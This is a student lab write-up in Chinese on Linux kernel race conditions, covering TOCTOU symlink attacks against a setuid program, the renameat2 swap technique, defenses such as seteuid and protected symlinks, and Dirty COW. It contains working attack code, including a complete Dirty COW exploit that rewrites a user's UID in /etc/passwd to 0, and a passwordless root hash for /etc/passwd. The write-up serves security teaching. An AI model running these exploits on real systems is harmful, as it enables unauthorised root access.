software-security-lab4

软件安全实验4,内核条件竞争漏洞.主要是linux下的dirty cow,toctou相关缺陷攻击

race_condition

task1

这里提到了一个特殊的密码U6aMy0wojraho。当我们在/etc/passwd中设置用户密码为这个时,可以直接enter登录,不需要填写。

发现写入到/etc/passwd之后确实可以不用输入密码登录

image-20220503190432999

image-20220503190942022

确实非常神奇。

task2

在做实验之前,我们首先关掉两个保护。一是防止用户把自己的符号链接链接到其他用户的文件上,二是防止root写用户的文件。因为一般用户的文件都是用户自己维护的,root一般能修改的都是系统的文件。

chmod 4755的作用

和chmod 755的区别在于:前面的4确保我们在以seed的身份执行此文件时,具有与所有着相当的权限。后续我们设置chown root也就是把所有者设置为root。

/etc/passwd格式

我们看一个典型的/etc/passwd文件。

1
root:x:0:0:root:/root:/bin/bash

这里第一位是root,表示用户名称。

第二位是x。表示密码在/etc/shadow中。而其实/etc/shadow中存放的是hash过的用户密码。如果这里写入的不是x,也可以直接写入密码。这样OS就会在登陆的时候直接找这里的密码。

第三位是用户标识号。如果设置为0表示用户具有root权限。

第四个是用户组ID。一般只需要知道上述四个即可。

task2.A

这里程序中间暂停了10秒,在这段时间内我们可以将/tmp/XYZ修改成/etc/passwd即可。

原理:我们首先检查access文件是否可达的时候,看到的是谁运行的此文件(uid),因此如果我们想要写入/etc/passwd,此处以seed的身份无法通过access的检查。但是fopen()检查的是当前可执行文件的拥有者是否有对目标文件写入的权限(euid)。因此,我们用fopen打开/etc/passwd时,是可以写入的。尤其是当我们用chmod 4755之后,始终可以使用fopen打开/etc/passwd。

于是我们要做的,就是在vlup进行sleep的同时,调用下面的函数,将/tmp/XYZ软连接到/etc/passwd即可。

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main()
{
unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");
return 0;
}

成功截图如下所示。我们就把上面那个特殊的密码写入了/etc/passwd之后就可以直接root。注意要先创建一个/tmp/XYZ,并且把对应权限改为777。(pdf里面写的)

image-20220503225412448

image-20220503225423957

task2.B

​ 我们编写如下程序。首先把/tmp/XYZ改到/dev/null,这是为了通过access()的检查,其次usleep一段时间是为了防止竞争条件变化太快,最后把/tmp/XYZ链接到/etc/passwd是为了通过条件竞争获取写的可能性。

我们如果想要成功,必须先unlink/dev/null接着通过vulpaccess。之后回到本文件的unlink到/etc/passwd,最后再回到vulp。可以看出条件竞争还是很苛刻的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main()
{
while(1)
{
unlink("/tmp/XYZ");
symlink("/dev/null","/tmp/XYZ");
usleep(200);

unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");
usleep(200);
}
return 0;

}

将上述程序编译,之后确保/tmp/ABC文件存在并且拥有者为seed。首先运行上述.c文件编译的attack文件,接着运行target_process.sh。但是尝试了好久也没有成功。期间查看tmp/XYZ文件类型,发现已经被改为root拥有。这样将一直无法通过access检查。

image-20220504095017959

思考:看到上面文件大小很大,说明我们已经成功写入了这个文件。说明vulp肯定通过了access的检查。但是注意access只是检查调用者的身份。这里可能会有疑问: 调用者是seed,但是/tmp/XYZ是root拥有的,为什么还能通过access的检验? 做了相关试验后发现,access通过只需要文件用户组ID和调用者ID对的上即可通过。在这里我们以seed身份运行程序,而/tmp/XYZ也是属于用户组seed的(从上面这张图可以看出),因此本来就可以写入

task2.C

这里解释了为什么之前我们的攻击不会成功。因为/tmp文件夹有粘滞性质,只有符号链接的拥有者才可以修改文件,即使文件是所有人都可以写的。

作者给出了一个改进方案,就是使用一个原子操作来删掉现有的符号链接(也就是unlink)并且把它换成一个新的符号链接(因为这牵涉到两个不同的系统调用)。之前错误发生的原因是,如果在unlink之后,程序被切换成了vulp,那么fopen就会创造一个和自己用户组一样的文件,也就是输入root/tmp/XYZ。所以造成了之前的问题。

那么我们只需要一个原子操作,把Unlink和symlink放在同一时刻执行即可。使用renameat2系统调用可以原子性的交换他们。注意到我们先把/tmp/ABC符号链接到/etc/passwd,之后尝试交换/tmp/XYZ和/tmp/ABC的路径即可。

总结一下上述攻击流程,如下图所示。右边是三种攻击流程,包括了成功,一般的失败情况,和为什么会创建一个root的文件。

race_explain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
int main()
{
unsigned int flags = RENAME_EXCHANGE;
renameat2(0,"/tmp/ABC",0,"/etc/passwd",flags);
while(1)
{
renameat2(0,"/tmp/XYZ",0,"/dev/null",flags);
renameat2(0,"/tmp/XYZ",0,"/tmp/ABC",flags);
}

}

image-20220504141149384

image-20220504142821358

关于为什么fd参数为0的解释。

image-20220512145454981

这里是成功的截图。

image-20220505122606484

之后测试sudo test可以得到正确的结果。

image-20220504143621771

task3.a

这里要求我们使用seteuid来限制用户的权限。

image-20220504144152866

如果在程序执行一开始调用seteuid,我们的effective userID将被设置为和read uid一样的内容,而uid即为执行程序的人拥有的权限。这里就是seed。因此在fopen时,进程检查我们的effective userID时,就会发现并不是root,从而失去对/etc/passwd写入的能力,从而完成了防御。同时,也不需要用access来做检查了。

我们把vulp改成如下所示的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main()
{
uid_t real_uid = getuid(); // real uid
uid_t eff_uid = geteuid(); // effective user id
seteuid(real_uid); // set it to the real uid
char* fn = "/tmp/XYZ";
char buffer[60];
FILE* fp;
/* get user input */
scanf("%50s", buffer);
if (!access(fn, W_OK)) {
//sleep(10);
fp = fopen(fn, "a+");
if (!fp) {
perror("Open failed");
exit(1);
}
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
seteuid(eff_uid); // set back effective user id
} else {
printf("No permission \n");
}
return 0;
}

发现即使有的时候能够执行到open语句,也无法成功了。即使我们程序依然是4755权限。因为此时我们在打开文件时,权限已经被改为用户(执行者)的,无法修改/etc/passwd。

image-20220504145216100

task3.b

同样的,尝试使用pdf里面给出的。下面这条命令开启了对于符号链接的保护。也就是说我们不能对有粘滞bit的文件夹中的符号链接做解引用。

image-20220504145522957

运行之前没有setuid的程序,发现也无法成功了。

image-20220504145628875

这样的原因可以见网站

image-20220504145917668

这里设置为1之后,就相当于”sticky world-writable”的符号链接文件不允许我们follow,也就是无法通过/tmp文件夹中的文件进入别的地方,只有当符号链接的uid和想要通过这个符号链接访问别的东西的人的uid是一样的时候才行。

这样相当于我们在/tmp文件夹下的所有符号链接都设置了一个seteuid,确保了访问符号链接的用户一定和真实用户是一致的。

在本练习中,漏洞程序是root身份,/tmp的拥有者也是root,但是符号链接的创建者是seed。这就使得上述保护激活,从而不允许root的进程使用符号链接。

局限性

这个保护只针对tmp文件夹下的符号链接。如果是其他文件夹下面,依然可以成功。推测可能在现实某个场景中,用户只能访问/tmp路径。

保护措施

其实task3讲了一些linux的保护措施。其实也有一些别的,这里来总结一下

  1. ubuntu的在全局可写文件夹中是否能够使用符号链接的保护。(task3.b)这使得我们在部分情况下不能对有粘滞bit的文件夹中的符号链接做解引用,这样我们就不能在/tmp里面放符号链接了。 ==为什么只限制/tmp?==

具体来说,粘滞符号链接保护如下所示。

执行者 目录所有者 符号链接所有者 是否可以访问
seed seed seed 可以
seed seed root 不可以
seed root seed 可以
seed root root 可以
root seed seed 可以
root seed root 可以
root root seed 不可以
root root root 可以

(黑体部分为,如果我们创建了一个root的/tmp/XYZ时,攻击不能成功的原因。我们不能解引用此符号链接文件了)

  1. 把检查和使用的操作原子化。如下面的代码,可以实现检查文件和打开的原子化操作。
1
f = open(file, O_CREAT | O_EXCL);
  1. 每次open时,检查read uid而不是effective uid(就相当于上面的seteuid自动执行了)但是这个选项在linux中还没有。
1
f = open(file, O_WRITE | O_REAL_USER_ID);
  1. 利用access和open在代码中多次打开同一个文件,并且确保在所有被打开的文件全部相同的时候,再打开文件。因此攻击者必须确保所有文件同时竞争成功,才能完成攻击。

dirty COW

这是第二个条件竞争漏洞。

task1.1

我们用和pdf中完全一样的输入序列。创建一个用户不可写入的文件。

image-20220504153040487

task1.2

我们首先以只读的方式打开文件(从之前的cat可以看出,这也是可行的)并映射一段内存出来,用来储存文件内容。在这之后,我们分为两步进行这次攻击。

write thread

write首先去内存中找到我们的目标(222222)的偏移(利用strstr),之后利用fseek找到所在位置。并且mmap的内存中写入数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
void *writeThread(void *arg)
{
char *content= "******";
off_t offset = (off_t) arg;

int f=open("/proc/self/mem", O_RDWR);
while(1) {
// Move the file pointer to the corresponding position.
lseek(f, offset, SEEK_SET);
// Write to the memory.
write(f, content, strlen(content));
}
}

madvise thread

这个线程主要调用madvise。看到man madvise中MADV_DONTNEED的含义。

image-20220504160313380

这个意思是,当前这个进程已经用好了这一片内存,在最近的一段时间内不需要在使用了。操作系统可以把这一片内存释放了。

如何成功

当write的syscall发生时,如果我们调用了madvise,就会把write现在正在写的页表丢弃,而如果现在又切换回write,write现在在写的页表就变成了目标文件的内容,也就是只读文件的内容。具体来说,漏洞触发原理和copy on write机制相关。

首先是这两句。我们把只读文件以私有映射的方式映射到mmap出来的一片内存上。注意MAP_PRIVATE的flag表示我们并不直接对源文件写入,而是创建一片新的内存。

1
2
3
4
5
6
7
// Open the target file in the read-only mode.
int f=open("/zzz", O_RDONLY);

// Map the file to COW memory using MAP_PRIVATE.
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

在创造了这样一篇内存之后,由于复制需要时间,操作系统并不会直接把这一片内容分配一个页面出来,而是等到用户要做修改的时候再复制用户写入的内容,并改变用户进程页表的项目。这样的做法叫做copy on write

如果用户丢弃了这样一片空间(使用madvise),那么页表将会被操作系统回收,之前mmap出来的地址将被重新指向写入之前的,也就是没有复制时候的地址。(最关键的地方其实在这里,重新指向写入之前的地址)

如果我们能够想办法在调用write之后,调用madvise释放空间,之后再回到write,此时write指向的页面就是只读文件所在的页面,这样就能造成对只读文件的修改了。流程如下图所示。

image-20220504160313380

思考:为什么写入内存的时候,还是没有检查是否可写呢?

write进行私有写的过程中,一共经过了三步1. 对映射的物理内存做了一份拷贝 2.更新页表,让虚拟内存指向新创建的物理内存 3.写入内存

因为write如果在已知当前内存是COW类型时,会申请新页面、切换页表的过程(也就是1,2)。而最后一部写入内存时,就不会再检查了。因此,我们可以在最后蓝色方块之前,加入一个条件竞争。一旦madvice成功,就使得写入的实际内存变为/etc/passwd。

本质上来说,问题还是系统调用write不是原子的。

可以看到,运行cow_attack之后,很快只读文件就被修改了。

image-20220504181416634

获得root权限

我们首先创建charlie账户,如下所示。可以看到charlie只有一个user权限。

image-20220504181542874

接下来尝试通过dirty cow攻击使得charlie拥有root权限。我们要做的只是修改上面”222222”字符串为”1001”,并且修改的目标为”0”即可,同时把打开的只读文件改为/etc/passwd。这样我们最终将会把charlie的userID设置为0也就是root。

image-20220504202325032

如上所示,我们就获得了一个root的shell。

exp

最重要的就是查找charlie:x:1001字符串,并将其替换为charlie:x:0000。注意不能只把1001改为0。这样会导致只能改第一位。也就是把charlie:x:1001改成了charlie:x:0001。这样是不能起到攻击效果的。要改一个完整的才行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>

void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);

int main(int argc, char *argv[])
{
pthread_t pth1,pth2;
struct stat st;
int file_size;

// Open the target file in the read-only mode.
int f=open("/etc/passwd", O_RDONLY);

// Map the file to COW memory using MAP_PRIVATE.
fstat(f, &st);
file_size = st.st_size;
map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);

// Find the position of the target area
char *position = strstr(map, "charlie:x:1001");

// We have to do the attack using two threads.
pthread_create(&pth1, NULL, madviseThread, (void *)file_size);
pthread_create(&pth2, NULL, writeThread, position);

// Wait for the threads to finish.
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
}

void *writeThread(void *arg)
{
char *content= "charlie:x:0000";
off_t offset = (off_t) arg;

int f=open("/proc/self/mem", O_RDWR);
while(1) {
// Move the file pointer to the corresponding position.
lseek(f, offset, SEEK_SET);
// Write to the memory.
write(f, content, strlen(content));
}
}

void *madviseThread(void *arg)
{
int file_size = (int) arg;
while(1){
madvise(map, file_size, MADV_DONTNEED);
}
}
文章目录
  1. 1. race_condition
    1. 1.1. task1
    2. 1.2. task2
      1. 1.2.1. /etc/passwd格式
      2. 1.2.2. task2.A
      3. 1.2.3. task2.B
      4. 1.2.4. task2.C
    3. 1.3. task3.a
    4. 1.4. task3.b
    5. 1.5. 保护措施
  2. 2. dirty COW
    1. 2.1. task1.1
    2. 2.2. task1.2
      1. 2.2.1. write thread
      2. 2.2.2. madvise thread
      3. 2.2.3. 如何成功
    3. 2.3. 获得root权限
      1. 2.3.1. exp
|